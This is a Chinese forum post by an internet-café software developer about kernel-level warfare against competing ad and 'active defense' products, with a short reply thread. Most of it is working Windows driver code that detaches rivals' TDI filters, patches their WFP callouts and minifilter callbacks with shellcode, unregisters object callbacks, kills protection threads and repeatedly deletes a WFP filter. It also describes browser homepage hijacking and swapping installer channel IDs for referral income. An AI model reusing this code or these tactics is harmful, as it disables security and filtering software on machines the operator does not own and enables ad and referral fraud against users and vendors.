首页
社区
课程
招聘
[原创]网吧业务安全对抗(有源码)
发表于: 2024-8-5 17:15 8844

[原创]网吧业务安全对抗(有源码)

2024-8-5 17:15
8844

网吧业务竞争激烈,网吧都会有以下系统软件。


无盘:

无盘是指没有硬盘。好处是统一维护管理和节约成本。本人研究无盘好几年,后面会专门发帖介绍。


计费:

是指收费系统。


营销软件:

包括销售饮品、‌零食和向客户发送电子邮件营销和短信营销等。产品如网吧营销大师。


监管:

监管网吧黄赌毒的软件。


主动防御系统:

绝大多数网吧不装杀毒软件,因为有很多网络游戏都会被杀毒软件误报为病毒而被删除,

比如梦幻、大话、神泣等。而且网吧大多数单机游戏都是破解版,这些单机游戏十之八九也会被误报为病毒。

再有,网吧都是无盘系统,重启后安装的软件都会还原。

所以有了网吧的主动防御软件,相当于网吧的360卫士。

主要功能包括:网络拦截、进\线程、模块、文件、注册表、窗口拦截等。靠网络下发规则来执行拦截,如下图。


网吧增值业务:

已经形成了一个产业,包括下面几项。


1.chuangqi业务:

此业务竞争最激烈,每年billion的收益。因为chuanqi游戏一直很火,而且私服很多。



后面专门介绍如何对抗。


2.禁止添加桌面图标:

  方法是,若我们驱动先启动: 使用minifilter拦截.lnk文件的创建

  后启动: 拦截+删除白名单(自己的图标)以外的桌标。

  所有的进程全部过滤。


3.登陆器封禁

  有了抢浏览器,为啥还要有登陆器封禁。因为会从别的地方下载了sifu登陆器。这样可以forbid了竞品,弹出我们的登陆器。

  

4.渠道号:

  替换软件安装包的渠道号,以拿到推广money。例如替换某游戏平台替换xxxxxx.db,就更改了渠道号。

5.浏览器锁主页:

  驱动在进程回调中修改命令行参数。不懂的,可以见看雪文章 https://bbs.kanxue.com/thread-272095.htm


下面介绍chuangqi业务:

因为用户玩传奇是从网站上下载,所以第三方软件会弹出广告令其下载。弹广告是由C端的程序控制,会抢占浏览器。

占浏览器无外乎是两种方法: 一个是网络过滤驱动(如WFP),一个是Hook浏览器。

除了抢浏览器手段一外,还会主动出击,攻破网吧的其它增值软件,不让其弹传奇Ads。

为了让我们的页面弹出来,竞品的业务不弹。我先采用的是Attack方法,先发制人。


安全是围绕攻防展开的。攻防是对立统一的。对立好理解,统一是: 防得好要先学攻,攻得好要理解防御。

攻击一点发力击破,难的是寻找突破点。防御是以一敌十,但需要考虑很全面。

所以安全很有研究价值的。



本文先聊下如何对付抢占浏览器,然后说下怎么防御对方攻击。

先介绍下TDI、WFP


1.TDI:

TDI,Transport Driver Interface,传输驱动程序接口。TDI是早期的模型,虽说微软不推荐,但使用起来不影响。

TDI的引出是Microsoft在网络API程序和协议驱动之间又增加了一层即TDI。


为什么要增加一层,因为微软希望通过分层后,工程师各司其职、分别开发。

TDI是微软提供的内核网络驱动模型中的编程接口规范,而不是部件,和NDIS一样。像AFD、TCPIP、NDIS驱动则是一个实现具体功能的部件,如下图:

上图来自看雪一半人生的文章。


下面介绍下Ring3到Ring0的网络分层结构:

ws2_32.dll提供了基本的socket相关函数(例如socket,bind,listen等)。

Windows在用户层提供了一种过滤网络数据包的HOOK方案,这个就是Layered service provider(也就是我们通常说的LSP),通过这种技术我们对网络包进行HOOK了,国内很多大厂用的都是这种技术。

Socket是一种统一的规范,无论是Windows还是Linux他们对外提供的接口都是一样的。在Windows下面Socket被转换成为设备的IO操作,并且提供了一个AFD.SYS(Ancillary Function Driver for WinSock)的驱动模块来辅助。

tcpip是一个网络协议驱动程序,对底层他提供了一个NIDS协议驱动,对上层他提供了应对TCP,UDP,RAWIP等不同协议的设备对象。

nicxxx是网卡驱动。


2.WFP:

WFP是windows推出来的新一代对网络数据进行操作的框架,用于取代TDI框架。WFP很灵活,就是框架有些重。用TDI实现网络功能也是完全可行的。


WFP的架构图如下:


WFP最重要的是下面几个组件:

过滤器(Filter):当满足一组条件的时候,执行指定的动作。多个滤器之间,有位置和权重之分。

Callout:是一组函数。数据流经过时,过滤器调用callout,执行callout中自定义的操作,然后标记放行还是阻断。

Layer:表示网络流量处理中调用过滤器引擎的特定点。(不同的Layer,有不同的标识。)

Sub-layer:layer的子组件。一个layer中可以创建不同的sub-layer,有权重之分。

当然还有Provider。它只用于管理, 不参与网络数据的过滤。


WFP有个弱点,特别是网吧环境,若关掉了BFE服务,WFP驱动就失效了:


再说下对抗网络过滤驱动:


1、TDI对抗:

TDI驱动的核心就是对于\\Device\\Tcp,\\Device\\Udp二个设备进行过滤,形成设备栈,然后对每个IRP进行处理。

然后讲下怎么遍历删除TDI钩子:

        //获取tdi钩子并移除------------------------------------
	UNICODE_STRING uniNtNameString;
	PDEVICE_OBJECT pTargetDeviceObject = NULL;
	PFILE_OBJECT pTargetFileObject = NULL;
	PDEVICE_OBJECT pTdxXxDevObj = NULL;

	for (int i = 0; i < 2; i++)
	{
		if (i == 0) //TCP
		{
			RtlInitUnicodeString(&uniNtNameString, DD_TCP_DEVICE_NAME);
			pTdxXxDevObj = g_pTdxTcpDevObj;
		}
		else //UDP
		{
			RtlInitUnicodeString(&uniNtNameString, DD_UDP_DEVICE_NAME);
			pTdxXxDevObj = g_pTdxUdpDevObj;
		}
		
		status = IoGetDeviceObjectPointer(IN & uniNtNameString, IN FILE_READ_ATTRIBUTES, OUT & pTargetFileObject, &pTargetDeviceObject);
		if (NT_SUCCESS(status))
		{
			if (pTargetFileObject)
				ObDereferenceObject(pTargetFileObject);

			KdPrint(("%s tdx Attached Driver Name:%wZ,Attached Driver Address:0x%p,Attached DeviceAddress:0x%p\n",
				i == 0 ? "TCP" : "UDP",
				&(pTargetDeviceObject->DriverObject->DriverName),
				pTargetDeviceObject->DriverObject,
				pTargetDeviceObject));

			WcharToChar(pTargetDeviceObject->DriverObject->DriverName.Buffer,
				szDriverPath, sizeof(szDriverPath));
			nKillOrSuspendThread = pnKillCallback = 0;
			if (IsBlackDriver((ULONG_PTR)pTargetDeviceObject->DriverObject->DriverStart,
				pTargetDeviceObject->DriverObject->DriverSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback))
			{
				KdPrint(("Check Tdi callback IsBlackDriver:%s,base:0x%p,size::0x%p\r\n",
					szDriverPath, (PVOID)ulBase, (PVOID)ulSize));

				if (nKillOrSuspendThread & NormalKill)
					KillDriverAllThreadByCallBack(pSysModuleList, pNotifyRoutineAddress, szDriverPath);
				if (nKillOrSuspendThread & SpecialKill) //某清x卫士
					KillDummyDriverAllThreadByCallBack(pSysModuleList, pNotifyRoutineAddress, "pci.sys");
				if (pnKillCallback & KillTdiCallback)
				{
					if (pTdxXxDevObj && pTdxXxDevObj->AttachedDevice
						&& (pTdxXxDevObj->AttachedDevice == pTargetDeviceObject))
					{
						IoDetachDevice(pTdxXxDevObj);
						KdPrint(("Remove TdiCallback!\r\n"));
					}
				}
			}
		}
		else
		{
			KdPrint(("%s IoGetDeviceObjectPointer error:0x%x!", i == 0 ? "TCP" : "UDP", status));
			pTargetFileObject = NULL;
			pTargetDeviceObject = NULL;
		}
	}

查找有TDI功能且是竞品的驱动,然后IoDetachDevice删除。下面是查找Tcp、Udp的tdi设备:

VOID GetTdxDeviceObject(PDEVICE_OBJECT* ppTcpDevObj,
	PDEVICE_OBJECT* ppUdpDevObj)
{
	NTSTATUS status;
	UNICODE_STRING tdx_name, tcp_name, udp_name;
	PDRIVER_OBJECT pTdxDriver = NULL;
	PDEVICE_OBJECT pDevObj = NULL;
	PUNICODE_STRING pObjectName = NULL;
	ULONG ulReturLength = 0;

	RtlInitUnicodeString(&tcp_name, L"\\Device\\Tcp");
	RtlInitUnicodeString(&udp_name, L"\\Device\\Udp");

	status = ObReferenceObjectByName(&tdx_name,
		OBJ_CASE_INSENSITIVE,
		NULL,
		0,
		(POBJECT_TYPE)(*IoDriverObjectType),
		KernelMode,
		NULL,
		(PVOID*)&pTdxDriver);
	if (pTdxDriver)
	{
		pDevObj = pTdxDriver->DeviceObject;
		while (pDevObj) // iterate through DEVICE_OBJECT
		{ // linked list
			status = ObQueryNameString(pDevObj, NULL, 0, &ulReturLength);
			if (status == STATUS_INFO_LENGTH_MISMATCH)
			{
				pObjectName = ExAllocatePoolWithTag(NonPagedPool, ulReturLength, 'hwb');
				if (!pObjectName)
					return;

				status = ObQueryNameString(pDevObj, (POBJECT_NAME_INFORMATION)pObjectName, ulReturLength, &ulReturLength);
				if (status == STATUS_SUCCESS)
				{
					if (RtlCompareUnicodeString(&tcp_name, pObjectName, TRUE))
					{
						if (!RtlCompareUnicodeString(&udp_name, pObjectName, TRUE))
						{
							//ObfReferenceObject(pDevObj);
							if (ppUdpDevObj)
								*ppUdpDevObj = pDevObj; // Save pointer to \Device\Udp
						}
					}
					else
					{
						//ObfReferenceObject(pDevObj);
						if (ppTcpDevObj)
							*ppTcpDevObj = pDevObj; // Save pointer to \Device\Tcp
					}
				}

				ExFreePoolWithTag(pObjectName, 'hwb');
			}
			pDevObj = pDevObj->NextDevice; // get pointer to next DEVICE_OBJECT
			// in the list
		}
		ObfDereferenceObject(pTdxDriver);
	}
}

总结: 由于TCP\UDP设备是绑定在设备栈上的,所以Detach可以解除绑定,又判断了黑名单,所以驱动功能稳定。


2、WFP对抗:

1). 恢复WFP钩子:

a). 首先是找到gWfpGlobal表,然后遍历。核心代码如下:

NTSTATUS EnumerateWfpCallbacks()
{
	NTSTATUS status = STATUS_SUCCESS;
	
	ULONG_PTR ulDriverBase= GetMemoryDriverBase("netio.sys");
	ULONG_PTR ulFeGetWfpGlobalPtrAddress=
		GetAddressFromFunction((PVOID)ulDriverBase, "FeGetWfpGlobalPtr");
	KdPrint(("FeGetWfpGlobalPtr地址:0x%p\r\n", ulFeGetWfpGlobalPtrAddress));
	if (ulFeGetWfpGlobalPtrAddress && MmIsAddressValid((PVOID)ulFeGetWfpGlobalPtrAddress))
	{
		//0: kd > uf netio!FeGetWfpGlobalPtr
		//NETIO!FeGetWfpGlobalPtr:
		//fffff807`39b99210 488b0549130500  mov     rax, qword ptr[NETIO!gWfpGlobal(fffff807`39bea560)]
		//fffff807`39b99217 c3              ret
		ULONG_PTR ul_gWfpGlobal = (ULONG_PTR)(*(PULONG)(ulFeGetWfpGlobalPtrAddress + 3)) +
			ulFeGetWfpGlobalPtrAddress + 7; //7为指令长度
		if (ul_gWfpGlobal && MmIsAddressValid((PVOID)ul_gWfpGlobal))
		{
			KdPrint(("gWfpGlobal地址:0x%p\r\n", ul_gWfpGlobal));

			int nEntriesNum = 0, nCalloutStructOffset = 0, nCalloutStructSize = 0;
			int nCount = 0;
			GetWfpCalloutOffset(&nEntriesNum, &nCalloutStructOffset, &nCalloutStructSize);
			//dps poi(poi(netio!gWfpGlobal) + 198h) + 0x50
			for (int i = 0; i < nEntriesNum; i++)
			{
				ULONG_PTR ulClassifyAddress = *(PULONG64)(*(PULONG64)ul_gWfpGlobal +
					nCalloutStructOffset) + nCalloutStructSize * i + 16;
				KdPrint(("ClassifyAddress地址:0x%p\r\n", *(PULONG_PTR)ulClassifyAddress));
				if (*(PULONG_PTR)ulClassifyAddress)
					nCount++;
			}
			KdPrint(("总共%d个Callout\r\n", nCount));
		}
		else
			KdPrint(("获得gWfpGlobal地址错误!\r\n"));
	}
	else
		KdPrint(("获得FeGetWfpGlobalPtr地址错误!\r\n"));

	return status;
}

上面GetWfpCalloutOffset函数根据OS版本获得Callouts数量、偏移和大小。方法是分析内核netio!FeInitCalloutTable和netio!InitDefaultCallout得到。代码见附件EnumWFPCallouts,支持win7、win10、win11。


b).删除WFP的Callouts

if (ulClassifyAddress && MmIsAddressValid((PVOID)ulClassifyAddress))
{
	ULONG_PTR ulClassifyFunction = *(PULONG_PTR)ulClassifyAddress;
	KdPrint(("ClassifyAddress地址:0x%p\r\n", ulClassifyFunction));
	if (ulClassifyFunction)
		nCount++;

	if (ulClassifyFunction && MmIsAddressValid((PVOID)ulClassifyFunction))
	{
		if (FindModuleByAddress(pSysModuleList, ulClassifyFunction,
			szDriverPath, &ulBase, &ulSize))
		{
			KdPrint(("Driver is:%s\r\n", szDriverPath));
			nKillOrSuspendThread = pnKillCallback = 0;
			//判断是否竞品
			if (IsBlackDriver(ulBase, ulSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback))
			{
				KdPrint(("Check WFP Callout IsBlackDriver:%s,base:0x%p,size::0x%p\r\n",
					szDriverPath, (PVOID)ulBase, (PVOID)ulSize));

				//先干掉保护线程
				if (nKillOrSuspendThread & NormalKill)
					KillDriverAllThreadByCallBack(pSysModuleList, (PVOID)ulClassifyFunction, szDriverPath);
				if (nKillOrSuspendThread & SpecialKill) //某清x卫士
					KillDummyDriverAllThreadByCallBack(pSysModuleList, (PVOID)ulClassifyFunction, "pci.sys");
				//再Patch竞品钩子
				if (pnKillCallback & KillWFP)
				{
					//Patch
					/*0xFFFFF80619911940 48 8B 44 24 38      mov rax, qword ptr[rsp + 0x38]
					  0xFFFFF80619911945 C7 00 02 10 00 00   mov dword ptr[rax], 0x1002
					  0xFFFFF8061991194B C3					 ret*/
					char szPatchCode[12] = { 0x48,0x8B,0x44,0x24,0x38,0xC7,0x00,0x02,
						0x10,0x00,0x00,0xC3 };
					SafeCopyMemory((PVOID)ulClassifyFunction, szPatchCode, 12);
					KdPrint(("Remove WFPCallout Success\r\n"));
				}
			}
		}
	}
}

前面IsBlackDriver根据竞品内存字符串、设备名、签名、文件内存大小定位。

上面定义了个枚举类型,表示特征码的类型。


上文的注释为什么"先干掉保护线程"再"Patch竞品钩子",因为移除钩子,保护线程会将其恢复。

清x卫士的保护线程在pci.sys中。它把保护线程注入shellcode到pci.sys空隙里了。

查找保护线程首先上ARK工具,右键->驱动线程:

 


然后挂起上图线程。


有的保护线程并不在自己空间里,这时候就要用到VT CPU虚拟化,Hook保护线程调用的保护API函数,然后打印进\线程ID。

关于VT后面还会提及。


2). 删除WFP的Filter

上文介绍了遍历并移除WFP Callout,下面介绍下另一种对抗方法,Ring3删除Filter:

// 删除指定的 WFP Filter
DWORD DeleteWFPFilter(const GUID& filterKey) {
	DWORD result = NO_ERROR;
	HANDLE engineHandle = NULL;
	FWPM_FILTER0 filter = { 0 };

	// 打开 WFP Engine
	result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_WINNT, NULL, NULL, &engineHandle);
	if (result != NO_ERROR) {
		std::cerr << "Failed to open WFP engine. Error code: " << result << std::endl;
		return result;
	}

	// 根据 Filter Key 构建 Filter 条件
	filter.filterKey = filterKey;

	// 删除 Filter
	result = FwpmFilterDeleteByKey0(engineHandle, &filter.filterKey);
	if (result != NO_ERROR) {
		std::cerr << "Failed to delete WFP filter. Error code: " << result << std::endl;
	}

	// 关闭 WFP Engine
	FwpmEngineClose0(engineHandle);

	return result;
}

int main() {
	// 要删除的 WFP Filter 的 Key
	//{4C08040E-6D8F-4B09-AADC-BA117A2E0D5B}
	GUID filterKey = { 0x4C08040E, 0x6D8F, 0x4B09, { 0xAA, 0xDC, 0xBA, 0x11, 0x7A, 0x2E, 0x0D, 0x5B } };

	while (true)
	{
		// 删除 WFP Filter
		DWORD result = DeleteWFPFilter(filterKey);
		if (result == NO_ERROR) {
			std::cout << "WFP filter deleted successfully." << std::endl;
		}
		Sleep(3000);
	}
	

	return 0;
}

指定GUID号,即可删除。使用WFPExp.exe查看:

再聊下如何对付Hook浏览器。竞品挂钩浏览器注入dll后,会跳转到自己的页面。

对抗思路: 

1.若是进程Hook的,查找注入浏览器的进程,然后挂起或结束。

2.若是驱动注入的,Patch注入线程或恢复回调。

3.UnHook浏览器。


一、 查找注入浏览器的进程

1. 扫描无模块注入的内存:

现在很少用有模块注入了,为了隐蔽。所以都是无模块注入。应用层代码网上有,内核代码注入还可以隐藏dll。

使用Cheate Engine一次只能扫描一个内存:

所以我写了下面这段代码扫描所有内存:

BOOL SearchMem(const HANDLE& process, BYTE* lpData, int iSize, 
	URL_TYPE enumUrlType, std::unordered_set<std::string>& sDistributeUrls,
	std::unordered_set<std::string>& sJsInjectUrls)
{
	SYSTEM_INFO si;
	GetSystemInfo(&si);

	ULONG_PTR start = (ULONG_PTR)si.lpMinimumApplicationAddress;
	ULONG_PTR end = (ULONG_PTR)si.lpMaximumApplicationAddress;
	MEMORY_BASIC_INFORMATION info;

	SIZE_T bytesRead = 0;
	ULONG_PTR readIndex = start;
	int totalBytesRead = 0;
	BOOL bFind = FALSE;

	int iFlag = 0;
	while (readIndex < end)
	{
		if (VirtualQueryEx(process, (LPCVOID)readIndex, &info, sizeof(info)) == 0) {
			_printf("VirtualQueryEx==0!!!");
			break;
		}

		readIndex = (ULONG_PTR)info.BaseAddress;
		if (info.State != MEM_COMMIT
			|| info.Type != MEM_PRIVATE) //扫描的无模块内存
		{
			readIndex += info.RegionSize;
			continue;
		}

		SIZE_T bytesToRead = info.RegionSize;
		char* buffer = new char[bytesToRead];
		if (!buffer)
		{
			_printf("分配内存失败!\r\n");
			return FALSE;
		}
		memset(buffer, 0, bytesToRead);

		bytesRead = 0;
		BOOL bReadSuccess = ReadProcessMemory(process, (LPCVOID)readIndex, buffer, bytesToRead, &bytesRead);
		if (bytesRead && (bytesRead - iSize>0))
		{
			for (int i = 0; i < (bytesRead - iSize); i++)
			{
				if (memcmp(buffer + i, lpData, iSize) == 0)
				{
					if (enumUrlType == SCAN_MEM)
					{
						bFind = TRUE;
						break;
					}
				}
			}
		}
		
		if (!bReadSuccess)
		{
			if (bytesRead <= 0)
				bytesRead = info.RegionSize;
		}
		totalBytesRead += bytesRead;
		readIndex += bytesRead;
		delete[] buffer;
	}

	return bFind;
}

上面代码扫描了所有进程,加了 info.Type != MEM_PRIVATE 判断,加快扫描速度。因为无模块内存的属性MEM_PRIVATE。


2、VT查找无模块注入的内存:

大多数注入内存都要调用NtAllocateVirtualMemory、NtWriteVirtualMemory两个API。

下面来自我写的ddimon修改版的代码:

NTSTATUS DdimonpHandleNtWriteVirtualMemory(
    IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer,
    IN SIZE_T NumberOfBytesToWrite, OUT PSIZE_T NumberOfBytesWritten OPTIONAL) 
{
  HYPERPLATFORM_LOG_INFO_SAFE("enter DdimonpHandleNtWriteVirtualMemory!\r\n");

  const auto original = DdimonpFindOrignal(DdimonpHandleNtWriteVirtualMemory);
  if (!original) 
      return STATUS_SUCCESS;

  BOOL bSuccess= original(ProcessHandle, BaseAddress, Buffer, NumberOfBytesToWrite,
                  NumberOfBytesWritten);

  PEPROCESS pSourceEprocess = PsGetCurrentProcess();
  if (!pSourceEprocess) {
    DbgPrint("pSourceEprocess is null!\r\n");
    return bSuccess;
  }

  PETHREAD pSourceEthread = PsGetCurrentThread();
  if (!pSourceEthread) {
    DbgPrint("pSourceEthread is null!\r\n");
    return bSuccess;
  }

  HANDLE hSourcePid = PsGetProcessId(pSourceEprocess);
  HANDLE hSourceTid = PsGetThreadId(pSourceEthread);

  if ((LONG_PTR)ProcessHandle == -1) {
    return bSuccess;
  }

  ULONG_PTR ulPid = HandleToPid(ProcessHandle);

  CHAR szSrcImageFilePath[MAX_PATH] = {0};
  WCHAR wzSrcImageFilePath[MAX_PATH] = {0};
  GetProcessImageFilePathSafeIrql(hSourcePid, wzSrcImageFilePath, MAX_PATH);
  CHAR szDestImageFilePath[MAX_PATH] = {0};
  WCHAR wzDestImageFilePath[MAX_PATH] = {0};
  GetProcessImageFilePathSafeIrql((HANDLE)ulPid, wzDestImageFilePath, MAX_PATH);

  //判断谁注入浏览器用
  if (!_stricmp(szDestImageFilePath, "chrome.exe")) //以及其它浏览器进程exe
  {
    //若注入的不是加了vmp壳的无模块,修改下面的"vmp0"字符串
    int index = binaryStringSearch((char*)"vmp0", FALSE,
                                   (char*)Buffer, (int)NumberOfBytesToWrite);
    if (index != -1) {
      KdPrint(
          ("NtWriteVirtualMemory,vmp0,调用进程Id:%d,线程Id:%d,目标进程id:%d,"
           "源进程名:%s,目的进程名:%s,地址:0x%p,长度:%d\r\n",
           hSourcePid, hSourceTid, ulPid, szSrcImageFilePath,
           szDestImageFilePath, BaseAddress, NumberOfBytesToWrite));
    } else {
      KdPrint(
          ("NtWriteVirtualMemory,调用进程Id:%d,线程Id:%d,目标进程id:%d,"
           "源进程名:%s,目的进程名:%s,地址:0x%"
           "p,长度:%d\r\n",
           hSourcePid, hSourceTid, ulPid, szSrcImageFilePath,
           szDestImageFilePath, BaseAddress, NumberOfBytesToWrite));
    }
  }

  return bSuccess;
}

用VT虚拟化技术,Hook了系统所有调用NtWriteVirtualMemory的函数,里面判断了"vmp0"字符串,

因为注入的都是加了壳的代码,大多是vmp壳,不是vmp的替换"vmp0"字符串。代码里有打印

调用进程Id和线程Id,以找到是谁注入的。


二、驱动注入的处理:

驱动注入dll,一般用LoadImageNotify拦截或遍历进程。所以应对方法是去掉LoadImageNotify钩子或挂起遍历进程的驱动线程。


三、UnHook浏览器:

因为Hook浏览器,一般是jmp xxxx,所以检测浏览器内存和文件是否相同。不同的再判断是否为jmp指令,是则从文件中拷贝恢复。

由于字数限制,无法这里展示代码。附件有部分代码,有空我再发一个帖子。



然后说下如何防御对方攻击:

广告业务会使用x64的CreateProcessNotify回调使我们页面弹不出来;

LoadImageNotify回调拦截我们软件驱动签名,或Patch我们驱动入口点;

KillObCallback保护自己线程不被打开;

LoadImageNotify会拦截我们软件驱动加载; 

minifilter会拦截我们驱动文件释放;

CreateThreadNotify会拦截我们注入无模块进程;


对抗方法是移除对方回调,CreateProcessNotify回调\LoadImageNotify回调\CreateThreadNotify回调的移除方法略过。

下面给出KillObCallback、minifilter回调移除的代码:

//获取Ob回调地址并移除
POB_CALLBACK pObCallback = NULL;
PVOID pObHandle[100] = { 0 };
int nObHandleCount = 0;

//获取Ob回调地址并移除
for (int i = 0; i < 2; i++)
{
	LIST_ENTRY CallbackList;
	if (i==0)
		CallbackList = ((POBJECT_TYPE)(*PsProcessType))->CallbackList;
	else
		CallbackList = ((POBJECT_TYPE)(*PsThreadType))->CallbackList;

	// 开始遍历
	pObCallback = (POB_CALLBACK)CallbackList.Flink;
	do
	{
		if (FALSE == MmIsAddressValid(pObCallback))
		{
			break;
		}
		if (NULL != pObCallback->ObHandle)
		{
			// 显示
			KdPrint(("ObCallback = %p | ObHandle = %p | PreCall = %p | PostCall = %p\r\n",
				pObCallback, pObCallback->ObHandle, pObCallback->PreCall, pObCallback->PostCall));

			PVOID pPreOrPostCall = pObCallback->PreCall ? pObCallback->PreCall : pObCallback->PostCall;
			if (pPreOrPostCall && MmIsAddressValid(pPreOrPostCall))
			{
				if (FindModuleByAddress(pSysModuleList, (ULONG_PTR)pPreOrPostCall,
					szDriverPath, &ulBase, &ulSize))
				{
					KdPrint(("Driver is:%s\r\n", szDriverPath));
					nKillOrSuspendThread = pnKillCallback = 0;
					if (IsBlackDriver(ulBase, ulSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback))
					{
						KdPrint(("Check ObCallback IsBlackDriver:%s,base:0x%p,size::0x%p\r\n",
							szDriverPath, (PVOID)ulBase, (PVOID)ulSize));

						if (nKillOrSuspendThread & NormalKill)
							KillDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, szDriverPath);
						if (nKillOrSuspendThread & SpecialKill) //某清x卫士
							KillDummyDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, "pci.sys");
						if (nKillOrSuspendThread & AdxxObProtectKill) //某hunter
							KillAdHunterObProtectThread(ulBase, ulSize);
						if (MmIsAddressValid(pObCallback->ObHandle))
						{
							if (pnKillCallback & KillObCallback)
							{
								if (nObHandleCount < sizeof(pObHandle) / sizeof(PVOID))
								{
									pObHandle[nObHandleCount] = pObCallback->ObHandle;
									nObHandleCount++;
									KdPrint(("Remove ObCallback!\r\n"));
								}
							}
						}
					}
				}
			}
		}
		// 获取下一链表信息
		pObCallback = (POB_CALLBACK)pObCallback->ListEntry.Flink;
	} while (CallbackList.Flink != (PLIST_ENTRY)pObCallback);
}

for (int i=0;i< nObHandleCount;i++)
{
	ObUnRegisterCallbacks(pObHandle[i]);
}

上面代码移除OB进线程保护,OB钩子详细解释去baidu吧:)

//minifilter钩子移除
ULONG ulFilterListSize = 0;
PFLT_FILTER* ppFilterList = NULL;
LONG lOperationsOffset = 0;
PFLT_OPERATION_REGISTRATION pFltOperationRegistration = NULL;

lOperationsOffset = GetMinifilterOperationsOffset();
if (0 == lOperationsOffset)
{
	KdPrint(("GetOperationsOffset Error\n"));
	ExFreePool(pSysModuleList);
	return;
}

// 获取 Minifilter 过滤器Filter 的数量
FltEnumerateFilters(NULL, 0, &ulFilterListSize);

ppFilterList = (PFLT_FILTER*)ExAllocatePoolWithTag(NonPagedPool,
	ulFilterListSize * sizeof(PFLT_FILTER), 'hwb');
if (NULL == ppFilterList)
{
	KdPrint(("ExAllocatePoolWithTag Error!\n"));
	ExFreePool(pSysModuleList);
	return;
}
// 获取 Minifilter 中所有过滤器Filter 的信息
status = FltEnumerateFilters(ppFilterList, ulFilterListSize, &ulFilterListSize);
if (!NT_SUCCESS(status))
{
	KdPrint(("FltEnumerateFilters Error![0x%X]\n", status));
	ExFreePool(pSysModuleList);
	ExFreePool(ppFilterList);
	return;
}


// 开始遍历 Minifilter 中各个过滤器Filter 的信息
__try
{
	for (i = 0; i < (int)ulFilterListSize; i++)
	{
		// 获取 PFLT_FILTER 中 Operations 成员地址。dt FltMgr!_FLT_FILTER
		pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)(*(PVOID *)((PUCHAR)ppFilterList[i] + lOperationsOffset));

		__try
		{
			// 同一过滤器下的回调信息
			//DbgPrint("-------------------------------------------------------------------------------\n");
			while (IRP_MJ_OPERATION_END != pFltOperationRegistration->MajorFunction)
			{
				{
					PVOID pPreOrPostCall = pFltOperationRegistration->PreOperation 
						? (PVOID)pFltOperationRegistration->PreOperation :
						(PVOID)pFltOperationRegistration->PostOperation;
					if (pPreOrPostCall && MmIsAddressValid(pPreOrPostCall))
					{
						KdPrint(("minifilter函数地址:0x%p\r\n", pPreOrPostCall));
						if (FindModuleByAddress(pSysModuleList, (ULONG_PTR)pPreOrPostCall,
							szDriverPath, &ulBase, &ulSize))
						{
							KdPrint(("Driver is:%s\r\n", szDriverPath));
							nKillOrSuspendThread = pnKillCallback = 0;
							if (IsBlackDriver(ulBase, ulSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback))
							{
								KdPrint(("Check Minifilter IsBlackDriver:%s,base:0x%p,size::0x%p\r\n",
									szDriverPath, (PVOID)ulBase, (PVOID)ulSize));

								if (nKillOrSuspendThread & NormalKill)
									KillDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, szDriverPath);
								if (nKillOrSuspendThread & SpecialKill) //某清x卫士
									KillDummyDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, "pci.sys");
								if (pnKillCallback & KillMinifilter)
								{
									//此方法摘除钩子后,钩子还可以正常使用,只不过PCHunter显示已经摘除
									//pFltOperationRegistration->PreOperation = NULL;
									//pFltOperationRegistration->PostOperation = NULL;

									//Patch
									char szPatchCode[4] = { 0x48,0x31,0xc0,0xc3 }; //xor rax,rax; ret
									if (pFltOperationRegistration->PreOperation)
										SafeCopyMemory(pFltOperationRegistration->PreOperation, szPatchCode, 4);
									if (pFltOperationRegistration->PostOperation)
										SafeCopyMemory(pFltOperationRegistration->PostOperation, szPatchCode, 4);
									KdPrint(("Remove FileNotify Success\r\n"));
								}
							}
						}
					}
				}
				// 获取下一个消息回调信息
				pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)((PUCHAR)pFltOperationRegistration + sizeof(FLT_OPERATION_REGISTRATION));
			}
			//DbgPrint("-------------------------------------------------------------------------------\n");
		}
		__except (EXCEPTION_EXECUTE_HANDLER)
		{
			KdPrint(("[2_EXCEPTION_EXECUTE_HANDLER]\n"));
		}

		FltObjectDereference(ppFilterList[i]); //记得一定要加此函数,否则卸载驱动会卡死
	}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
	KdPrint(("[1_EXCEPTION_EXECUTE_HANDLER]\n"));
}

上述代码,先调用FltEnumerateFilters获取ppFilterList和ulFilterListSize,然后遍历Minifilter中各个过滤器Filter的信息,最后Patch。


总结:

虽然网吧业务竞争激烈,我们的软件仍然脱颖而出,成功对抗上十款竞品。相关代码已经给出,附件也有代码。

后面有时间,我还会发相关的帖子,比如怎么把对抗业务的防御更上一层楼,谢谢大家!


参考:

看雪 https://bbs.kanxue.com/thread-272095.htm

看雪 https://bbs.kanxue.com/thread-268468.htm


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2024-8-11 15:59 被yirucandy编辑 ,原因:
上传的附件:
收藏
免费 14
支持
分享
最新回复 (14)
雪    币: 17
活跃值: (35)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
来学习学习
2024-8-5 17:55
0
雪    币: 125
活跃值: (2056)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
对抗计费试试能不能让吧台那边不被发现
2024-8-6 12:53
1
雪    币: 200
活跃值: (2044)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
很详细啊 现在网吧快成乱投放广告重灾区了 支持lz 把这些乱投的广告统统抓出来
2024-8-6 13:24
0
雪    币: 0
活跃值: (340)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
666
2024-8-6 15:09
0
雪    币: 175
活跃值: (486)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
6
先mark,再学习~~
2024-8-6 19:21
0
雪    币: 7986
活跃值: (2535)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
7
难道是武汉的那家公司。。。
2024-8-6 19:41
0
雪    币: 9560
活跃值: (2391)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
